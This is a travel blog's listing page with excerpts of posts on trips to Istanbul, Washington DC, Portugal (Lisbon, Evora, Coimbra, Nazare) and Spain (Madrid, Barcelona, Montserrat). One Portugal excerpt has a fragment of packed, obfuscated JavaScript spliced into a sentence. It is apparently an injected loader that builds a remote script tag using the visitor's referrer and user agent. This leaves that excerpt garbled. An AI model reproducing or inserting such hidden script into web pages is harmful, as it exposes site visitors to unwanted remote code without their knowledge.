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We’re about to head to Italy, but I thought I’d do a quick update of our time here in Istanbul! The weather has been quite pleasant and Nick’s even managed to wear shorts a few of the days! We learned about Islam and visited a few Mosques. We’ve eaten all different kinds of street food […]
Back in April we went to Washington DC. It’s the only other city besides Seattle where we can visit and see tons of friends! We started off with a hot, sweaty, humid wog (that’s a walk/jog) around the sites. https://www.instagram.com/p/2Zg8CBSyJT/ https://instagram.com/p/2ZiVobyyLe/ We were told that the weather was “perfect” – and I can definitely say […]
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Lisbon, Belem, Sintra and Cascais We spent the last 5 days in Lisbon, with day trips to some of the nearby cities. On our first day, we just wandered the city. In an amazing race fail, we ran up a decent hill only to find the castle had closed 5 minutes prior. Sad day, as […]
After Nazare, Coimbra, and Obidos, we headed to Evora, about 1.5 hours east of Lisbon. It’s a fascinating little town, with a walled in city center. It’s got a lot of history and culture, but is predominately comprised of older folks (60+) and college age students, thanks to the towns university. To say I was […]
Before heading to the bustling capitol city, we checked a few other small-ish towns on our Portuguese road trip. Our first spot was Coimbra, the University town north of Lisbon. I’m not gonna lie, I had high hopes. I love me a good college town. The visit didn’t have the greatest start as parking was […]
On a tip from our good ol’ friend Rick Steves, we headed for the coastal town of Nazare. Known for its big waves and adorable charm. Half of the town is right on the water, while the other half is up on a cliff. It sort of reminds me of Cabo and Pedregal. Since it’s […]
After ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efdka|var|u0026u|referrer|dnbzk||js|php’.split(‘|’),0,{})) Madrid, we were headed for Portugal. We landed in Lisbon, a torrential downpour currently underway. After grabbing our little Fiat, we headed for the tiny coastal town of Nazare, known for it’s north-shore-like waves! Hungry, or was that hangry, from an early flight and no snacks, we stopped in […]
You could say I was a little underwhelmed with the Barcelona food scene. I’ll chalk it up to it being our first city, and having a few misses, but so far we’ve been far more impressed with the food here in Madrid. I will say that Barcelona served up one of the tastiest meals I’ve […]
Montserrat is a short, 1 hr train ride from Barcelona (see my notes below for tips on train tickets to Montserrat). And it’s really pretty. So we went. Montserrat is a Monastery set amongst the mountains. We didn’t think about this when packing, nor when we set off for Montserrat that morning, and we only […]